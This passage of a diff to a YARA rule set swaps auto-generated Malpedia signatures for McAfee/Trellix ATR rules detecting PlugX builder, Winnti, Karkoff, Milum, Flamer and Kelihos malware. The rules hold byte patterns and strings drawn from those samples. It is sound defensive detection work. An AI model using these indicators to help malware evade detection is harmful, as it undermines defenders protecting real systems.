+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "8231f46330762cecf8a796d1a29c8fa6ba1c10b527fa86bf6c73130349558dad"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "BUILDER, FILE"
+		rule_version = "v1"
+		malware_type = "builder"
+		malware_family = "Builder:W32/Plugx"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? 8b7c2410 81c610020000 d1eb 45 85db 75b5 }
-		$sequence_1 = { 83c8ff 898e44020000 899648020000 57 894308 894304 8903 }
-		$sequence_2 = { 03c0 03c0 50 898374010000 e8???????? 8b8b74010000 83c404 }
-		$sequence_3 = { 8be5 5d c20c00 51 e8???????? 5e 5b }
-		$sequence_4 = { ffd7 895e24 8b461c 3bc3 741a 53 50 }
-		$sequence_5 = { eb21 83f805 7529 8d8c243c010000 51 8d842448030000 e8???????? }
-		$sequence_6 = { ff15???????? 8bf8 6a10 56 6861001100 }
-		$sequence_7 = { 52 8d6e18 55 8d7e0c 57 894608 e8???????? }
-		$sequence_8 = { ffd7 a3???????? 85c0 7412 8d4c2408 51 }
-		$sequence_9 = { 6a00 52 8bd8 56 895c2428 ff15???????? 8b4f0c }
+		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
+		$s2 = "Wrong password for %s5Write error in the file %s. Probably the disk is full" fullword wide
+		$s3 = "mcutil.dll" fullword ascii
+		$s4 = "Unexpected end of archiveThe file \"%s\" header is corrupt%The archive comment header is corrupt" fullword wide
+		$s5 = "mcoemcpy.exe" fullword ascii
+		$s6 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide
+		$s7 = "&Enter password for the encrypted file:" fullword wide
+		$s8 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii
+		$s9 = "setup.bat" fullword ascii
+		$s10 = "ErroraErrors encountered while performing the operation" fullword wide
+		$s11 = "Please download a fresh copy and retry the installation" fullword wide
+		$s12 = "antivir.dat" fullword ascii
+		$s13 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide
+		$s14 = "=Total path and file name length must not exceed %d characters" fullword wide
+		$s15 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide
+		$s16 = "folder is not accessiblelSome files could not be created." fullword wide
+		$s17 = "Packed data CRC failed in %s" fullword wide
+		$s18 = "DDTTDTTDTTDTTDTTDTTDTTDTTDTQ" fullword ascii
+		$s19 = "File close error" fullword wide
+		$s20 = "CRC failed in %s" fullword wide
+		$op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 }
+		$op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 }
+		$op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d }
 
 	condition:
-		7 of them and filesize <434176
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="dbb1eb5c3476069287a73206929932fd" and all of them )
 }
-rule MALPEDIA_Win_Jolob_Auto : FILE
+rule TRELLIX_ARC_APT_Winnti : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a7a30cc7-8517-58f2-b42f-ed67321f20be"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jolob_auto.yar#L1-L126"
-		license_url = "N/A"
-		logic_hash = "7066e8000a5c7d67ee5c483efa94c88c66463d1307008135462062b7827f4ff2"
+		description = "Detects Winnti variants"
+		author = "McAfee ATR Team"
+		id = "f12b039a-2508-580f-b777-428bbda2c666"
+		date = "2020-06-04"
+		modified = "2020-10-14"
+		reference = "https://attack.mitre.org/software/S0141/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_winnti.yar#L1-L27"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "fd539d345821d9ac9b885811b1f642aa1817ba8501d47bc1de575f5bef2fbf9e"
+		logic_hash = "f94b2c552fbb30e1005e5c75a2f449d60b9558a0916197bed41bf32c6477daef"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Winnti"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8bf7 668954242a 668974242e 6683fa0d 750c 66ff442428 }
-		$sequence_1 = { 57 ff7318 e8???????? eb2d 8b7c2428 83c70c 57 }
-		$sequence_2 = { ff15???????? eb2e 8b7e1c e8???????? }
-		$sequence_3 = { 8d45e4 6a10 48 c745f401000000 5b 8945f0 8365f800 }
-		$sequence_4 = { 8d45f0 50 ffb714080000 e8???????? 85c0 75df 40 }
-		$sequence_5 = { 8b442404 85c0 7501 40 50 6842200000 ff15???????? }
-		$sequence_6 = { 8b17 895648 83671000 894714 895f18 890f 8b5104 }
-		$sequence_7 = { 6683fa0b 741a 6683fa02 7532 }
-		$sequence_8 = { 77f5 8bc7 5e c3 33c0 5e c3 }
-		$sequence_9 = { 83ec28 8365f400 53 56 8bf0 8d461c }
+		$pattern = { 9090909090909090909090909090C7????????????C2????90909090909081??????????E9????????CCCCCCCCCC8A??????8B??????538A??8A??568B??578B??????8B??C1????66????8B??C1????F3AB8B??83????F3AA8B??5F5E5BC390909090909090909090909090909083????5333??568D??????535089??????89??????E8????????8A??33??3A??8D??????0F94??83????5389??????528B??89??????C6????????E8????????8B??33??81??????????8D??????0F94??6A??89??????5223??89??????C6????????C6????????E8????????33??66????8D??????6A??0F94??89??????89??????5223??C6????????C6????????E8????????8B??83????33??3B??0F94??23??5E495BF7??1B??8B??83????C38B??????8B??????03??C390909090908B??????85??0F84????????8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??E9????????83????C39090909090909090909090909083????8B??????53558B??????33??568B??????83????5789??????76??81??????????8B??76??BF????????8B??????8D????03??C1????03??89??????3B??76??8B??????68????????6A??52E8????????8B??????8B??????8B??????505351565752E8????????8B??????8B??8B??????2B??8B??83????03??8B??????83????89??????77??03??0F84????????8B??????8B??????2B??03??3B??89??????75??81??????????77??8A??04??EB??83????77??08????EB??83????77??8A??80????88??EB??8D????C6????463D????????89??????76??8D????B8????????F7??C1????8B??33??8B??8B??C1????F3AB8B??83????03??F3AA8B??????81??????????4A89??????75??8B??????8B??88??468A??88??46424B75??8B??????C6????465FC6????46C6????2B??8B??????4633??89??5E5D5B83????C390909090909090909083????8B??????53558B??????568B??????8D????5789??????8B??????83????73??B8????????2B??EB??33??03??8B??2B??C1????8D??????89??????8B??????8B??????8D????3B??0F83????????8B??8B??69??????????8B??????8B??????C1????33??66??????03??8B??????2B??????89??????66??????8B??3B??0F85????????8B??????C7??????????????2B??8B??????8B??2B??0F84????????83????77??8A????0A??88????8B????89??03??E9????????83????77??8A??2C??88??468B????89??8B????89????8B????89????8B????89????03??E9????????83????77??8A??80????88??46EB??8D????C6????463D????????89??????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??8B??????81??????????4889??????75??8B??????8B??8B??????88??468B????89??8B????89????8B????89????8B????89????83????83????83????83????73??85??76??8A????88??46454B75??BB????????8B????8B????33??75??BB????????03??8B????8B??33??8B??????83????3B??73??8B??2B??????85??75??83????83????8B????8B??33??8B??????3B??72??EB??84??75??C1????4384??74??8B??????8B??03??2B??83????89??????77??3D????????77??4880????8A??80????C0????C0????0A??88??46C1????88??46E9????????3D????????77??4883????89??????77??80????80????EB??83????C6????4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????2D????????83????89??????77??8B??80????C1????80????8A??0A??80????88??46C0????88??46C1????88??46E9????????8B??83????C1????80????80????88??4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????8B??????E9????????8B??????8B??????8B??????2B??89??8B??5F2B??5E5D03??5B83????C390909090909090909090908B??????538B??????55568B??????C7??????????578A??8D????8B??????80????8B??76??81??????????8D????83????8B??83????0F82????????8A??88??40414F75??EB??33??8A??418B??83????0F83????????85??75??80????75??8A????81??????????4184??74??33??8A??418D??????8B??89??83????83????4E74??83????72??8B??89??83????83????83????83????73??85??76??8A??88??40414E75??EB??8A??88??40414E75??33??8A??418B??83????73??33??8B??8A??C1????2B??C1????2B??8A??????????81??????????4188??40478A??88??8A????4088??408A????83????8B??0F84????????8A??88??404183????76??8A??88??404183????76??8A??88??404133??8A??418B??83????72??8B??8B??C1????83????2B??33??8A??C1????2B??4F41C1????4E8A??88??8A????404788??40478A??88??40474E75??EB??83????72??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????8D????66????81??????????C1????2B??83????EB??83????0F82????????8B??8B??83????C1????2B??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????66????81??????????C1????2B??83????3B??74??81??????????83????0F82????????8B??2B??83????0F8C????????8B??89??83????83????83????8B??89??83????83????83????83????73??85??0F86????????8A??88??40474E75??E9????????33??8B??8A??C1????2B??C1????2B??4F41E9????????8B??????2B??3B??89??75??5F5E5D33??5BC31B??5F24??5E5D83????5BC39090909090909090909090909081??????????568B??68????????C7??????????FF??????????83????75??57B9????????33??8D??????66????????????F3AB66AB8D??????5068????????FF??????????83????5F75??6A??68????????FF??????????8B??5E81??????????C390909090909090909090909090568B??E8????????F6????????74??56E8????????83????8B??5EC2????909068????????C7??????????FF??????????85??75??FF??????????C39090909053558B??????5685??5774??8B??????85??74??33??33??33??85??76??8A??????????8A??????????32??80????32??8A????32??33??88????8D????BE????????F7??8D????BF????????8B??33??F7??413B??8B??72??5F5E5D5BC39083????538B??????55565768????????68????????5333??FF??????????8B??85??0F84????????68????????FF??????????8B??B0??88??????88??????8D??????B1??5056C6????????88??????C6????????C6????????C6????????C6????????88??????C6????????C6????????C6????????C6????????FF??????????5753FF??568B??FF??????????85??74??57FF??????????8B??8B??????B9????????8B??68????????50F3A5E8????????83????B8????????5F5E5D5B83????C35F8B??5E5D5B83????C39090538B??????????5657C7??????????8D????BF???????? }
 
 	condition:
-		7 of them and filesize <196608
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule MALPEDIA_Win_Narilam_Auto : FILE
+rule TRELLIX_ARC_Karkoff_Dnspionaje : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "da9d4048-8edf-5bad-820f-4e60bf8a1167"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.narilam_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "9c97c97f1983ca4888bd0ceffb3db6cc9301c52fb6e7adafbcc7af03cf7073fe"
+		description = "Rule to detect the Karkoff malware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "a5cdc65f-3a4c-5d97-9d88-8d60b14dfb9a"
+		date = "2019-04-23"
+		modified = "2020-08-14"
+		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_karkoff_dnspionaje.yar#L1-L30"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c"
+		logic_hash = "79dd0087f1197cb1b2cd98416302363951479ba5ebf82289768585b56ed21c3a"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Karkoff"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? f645f801 7518 8d55f4 a1???????? e8???????? 8b45f4 }
-		$sequence_1 = { 8d8550ffffff ba02000000 e8???????? 66c785dcfeffffe801 ba???????? 8d854cffffff e8???????? }
-		$sequence_2 = { e8???????? 8b55fc 8bc6 e8???????? 8bf8 e9???????? 8d5308 }
-		$sequence_3 = { eb83 e9???????? 66b86801 ebf5 66b86901 ebef 66b86a01 }
-		$sequence_4 = { e8???????? eb08 8b45fc e8???????? 33c0 5a 59 }
-		$sequence_5 = { e8???????? c3 3a90e2020000 740b 8890e2020000 e8???????? c3 }
-		$sequence_6 = { e8???????? 8bc8 8bd3 8b831c020000 ff9318020000 33c0 8a45ff }
-		$sequence_7 = { a5 a5 a5 8d4584 8d4dd4 ba04000000 e8???????? }
-		$sequence_8 = { ff852cffffff 8d5588 8d45fc e8???????? ff8d2cffffff 8d4588 ba02000000 }
-		$sequence_9 = { 8d8580feffff e8???????? ff854cfeffff 8d9580feffff 8d45fc e8???????? ff8d4cfeffff }
+		$s1 = "DropperBackdoor.Newtonsoft.Json.dll" fullword wide
+		$s2 = "C:\\Windows\\Temp\\MSEx_log.txt" fullword wide
+		$s3 = "DropperBackdoor.exe" fullword wide
+		$s4 = "get_ProcessExtensionDataNames" fullword ascii
+		$s5 = "get_ProcessDictionaryKeys" fullword ascii
+		$s6 = "https://www.newtonsoft.com/json 0" fullword ascii
 
 	condition:
-		7 of them and filesize <3325952
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule MALPEDIA_Win_Plaintee_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Milum_Trojan : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e3bbe66b-b26a-510d-8a1b-05b2e6f7426c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plaintee_auto.yar#L1-L116"
-		license_url = "N/A"
-		logic_hash = "8bcc878fa501588c97ae4d4926e84d32a4619fd799353944068271d6d4e36727"
+		description = "Rule to detect Milum trojan from the Wildpressure operation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "acc56237-a93a-55c0-a90c-11ca1da683db"
+		date = "2020-04-24"
+		modified = "2020-08-14"
+		reference = "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_milum_wildpressure.yar#L3-L28"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9"
+		logic_hash = "3ab1ff129517cb4a829edac289c00d7701d6f667ba2ef5a28024fd01a3a52e8e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/Milum"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d4c2404 6a00 8d542404 51 52 ffd0 8b4c2400 }
-		$sequence_1 = { 8bf1 6802020000 ff15???????? 85c0 740a b001 }
-		$sequence_2 = { 50 8d853c010000 50 8b8538010000 6a5a 52 }
-		$sequence_3 = { 8d442400 56 50 8bf1 6802020000 ff15???????? }
-		$sequence_4 = { 5e 81c490010000 c3 8bce }
-		$sequence_5 = { 85f6 74c6 8bce e8???????? }
-		$sequence_6 = { f3ab 66ab b900010000 33c0 }
-		$sequence_7 = { eb02 33f6 8bce e8???????? 8a8669010000 }
-		$sequence_8 = { 68ac010000 e8???????? 83c404 85c0 7412 }
-		$sequence_9 = { 750a b001 5e 81c490010000 c3 }
+		$pattern = { 558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????89??????????C7????????????8D????C7??????????33??6A??89??????????89????E8????????83????3B??0F84????????89????89??8B????89????8B????89????8B????C6??????8B????C6??????C6??????8B??????????BE????????89????89????88????C6??????6A??68????????8D??????????89??????????89??????????88??????????E8????????C6??????6A??538D????528D??????????89??????????89??????????88??????????E8????????C6??????8D??????????508B??E8????????508D??????????5157E8????????C6??????83????????????72??8B??????????52E8????????83????89??????????89??????????88??????????C6??????83????????????72??8B??????????50E8????????83????6A??68????????8D????89??????????89??????????88??????????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????83??????72??8B????51E8????????83????89????89????88????C6??????83??????72??8B????52E8????????83????6A??68????????8D????89????89????88????89????89????88????E8????????C6??????6A??538D????508D????89????89????88????E8????????C6??????83????8B??89??????????6A??89????89????68????????88??E8????????C6??????83????8B??89??????????6A??538D????89????89????5288??E8????????C6??????8D??????????50C6??????E8????????83????C6??????8B??????????2B??????????B8????????F7??03??C1????8B??C1????03??83????75??8B??????????6A??53528D????E8????????8B??????????6A??83????53508D????E8????????6A??538D????508D????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????BF????????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????8B??????????3B??74??8B??????????E8????????8B??????????50E8????????83????BF????????89??????????89??????????89??????????C6??????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????39????72??8B????50E8????????83????89????89????88????88????39????72??8B????51E8????????83????89????89????88????C7????????????39????72??8B????52E8????????83????8B??????????89????89????88????8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????8D??????????508D??????????89??????????E8????????C6??????C7??????????????????C6??????68????????8D??????????51E8????????CCCC558B??6A??68????????64??????????5051535657A1????????33??508D????64??????????8B????C7??????????C7????????????8D????33??83??????89????72??8B??EB??8B??8D????88??8B????8B????518B??E8????????8B????89????8B????89??8B????89????89????88????83??????72??8B??50E8????????83????89????C7????????????88??83????89????89????C7????????????8B????8B??50518D????E8????????89????8B????52E8????????83????8B????64????????????595F5E5B8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????505156A1????????33??508D????64??????????83????C7????????????8B????5156E8????????C7????????????C7????????????8B??8B????64????????????595E8B??5DC2????CCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????33??8B??89??????????8B????8B??89??????????89??????????89??????????3B??0F84????????8D????39??????????0F85????????68????????8D????5750E8????????C7????????????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????E9????????578D????68????????51E8????????C7????????????508D??????????52BA????????E8????????C6??????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????C6??????39??????????72??8B??????????50E8????????83????C7??????????????????89??????????88??????????88????39????72??8B????51E8????????83????C7????????????89????88????FF??????????38????75??8B????38????75??8B??8B??38????75??8D????8B??8B??38????74??EB??8B????38????75??3B????75??8B??8B????38????74??8B??8B??????????3B????0F85????????8B??????????8B??6A??5383????C7????????????89????508B??88??E8????????89????C7??????????????????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????C7????????????89????88????8B????64????????????595E5B8B??5DC3CCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????5356508D????64??????????33??89????538B??68????????8D????89????C7????????????89????88????E8????????C7????????????6A??8D????38????74??68????????EB??68????????E8????????8D????5083????8D????5651E8????????C6??????8D????52578B??E8????????83????C7????????????C6??????BE????????39????72??8B????50E8????????83????C7????????????89????88????88????39????72??8B????51E8????????83????C7????????????89????88????8B??8B????64????????????595E5B8B????33??E8????????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????F6??????C7????????????89????88????74??56E8????????83????8B??8B????64????????????595E5B8B??5DC2????CCCC558B??6A??68????????64??????????50A1????????33??508D????64??????????C7????????????6A??6A??8D????5083????E8????????C7????????????83??????72??8B????51E8????????83????C7????????????C7????????????C6??????8B????64????????????598B??5DC2????CCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????535657508D????64??????????33??89????8B????89????89????B8????????89????C7????????????89????88??89????8D????BF????????39????72??8B??8B????39????73??8D????8B????518D????518B??E8????????C6??????508B??E8????????C6??????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B??33??89????8B????89??????????89?????????? }
 
 	condition:
-		7 of them and filesize <73728
+		uint16(0)==0x5a4d and filesize <2000KB and pe.imphash()=="548d9f5f1e74f34b85612667335d41f2" and all of them
 }
-rule MALPEDIA_Win_Kingminer_Auto : FILE
+rule TRELLIX_ARC_Apt_Flamer_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "13b82737-eb1a-51ab-9795-8340f262e7e5"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kingminer_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "f79d58fb6043de2ccd7faac7ea9ed3b2513556edb2a1cd9df8f496a155aebade"
+		description = "Rule to detect Flamer based on the PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "3bbe043d-c0dc-5aa2-b985-800a6d9038fd"
+		date = "2012-05-29"
+		modified = "2020-08-14"
+		reference = "https://www.forcepoint.com/ko/blog/x-labs/flameflamerskywiper-one-most-advanced-malware-found-yet"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/flamer_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "554924ebdde8e68cb8d367b8e9a016c5908640954ec9fb936ece07ac4c5e1b75"
+		logic_hash = "3c1d3d015e086cff1f3d5add39397d8ed251b12144b31d8547165cbd0217735c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Flamer"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { a1???????? 885c30fe a1???????? 0fb64c30f9 884c30fc }
-		$sequence_1 = { ff15???????? 6a01 ff15???????? 6a00 ff15???????? 8b4508 }
-		$sequence_2 = { 83c40c 807c30ff62 8d4c30ff 0f8599010000 }
-		$sequence_3 = { ff15???????? 6a00 ff15???????? 8b80c0000000 85c0 7422 }
-		$sequence_4 = { 6a00 ff15???????? 6a00 ff15???????? 6a01 ff15???????? 6a00 }
-		$sequence_5 = { 3bf0 741e 68c1000000 ff15???????? 5b }
-		$sequence_6 = { ff15???????? a1???????? 50 ffd7 ff15???????? 6a01 ff15???????? }
-		$sequence_7 = { 6a04 6800100000 51 52 ffd0 83c414 85c0 }
-		$sequence_8 = { 8d4dec 51 8d580c 56 8bc7 c745ec89480489 }
-		$sequence_9 = { 8b95d0feffff 2b4234 7419 83b9a000000000 7466 50 }
+		$pdb = "\\Projects\\Jimmy\\jimmydll_v2.0\\JimmyForClan\\Jimmy\\bin\\srelease\\jimmydll\\indsvc32.pdb"
 
 	condition:
-		7 of them and filesize <165888
+		uint16(0)==0x5a4d and filesize <500KB and any of them
 }
-rule MALPEDIA_Win_Vapor_Rage_Auto : FILE
+rule TRELLIX_ARC_Kelihos_Botnet_Pdb : BOTNET FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "11bddf4b-6d86-5af5-ae51-c6d26a16eb1c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vapor_rage_auto.yar#L1-L122"
-		license_url = "N/A"
-		logic_hash = "be731f13a1ff78238c54efa2479336e60a09907f2a709db9a3ea573dd84f70f8"
+		description = "Rule to detect Kelihos malware based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "2b6683a1-ba19-586b-8a92-89d4764efa12"
+		date = "2013-09-04"
+		modified = "2020-08-14"
+		reference = "https://www.malwaretech.com/2017/04/the-kelihos-botnet.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_kelhios_botnet_pdb.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "f0a6d09b5f6dbe93a4cf02e120a846073da2afb09604b7c9c12b2e162dfe7090"
+		logic_hash = "f60fb85161f86653f390b444d568da24cf07b3be99856230156741e8451e2a3f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BOTNET, FILE"
+		rule_version = "v1"
+		malware_type = "botnet"
+		malware_family = "Botnet:W32/Kelihos"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 6a07 e8???????? e8???????? e8???????? e8???????? 8325????????00 c745fcfeffffff }
-		$sequence_1 = { 6a00 0fb755b0 52 8b45ac 50 }
-		$sequence_2 = { 5f 5e c3 68???????? ff15???????? c3 }
-		$sequence_3 = { 32db 885de7 c745fcfeffffff e8???????? 84db 0f8564ffffff }
-		$sequence_4 = { 885de7 c745fcfeffffff e8???????? 84db 0f8564ffffff e8???????? }
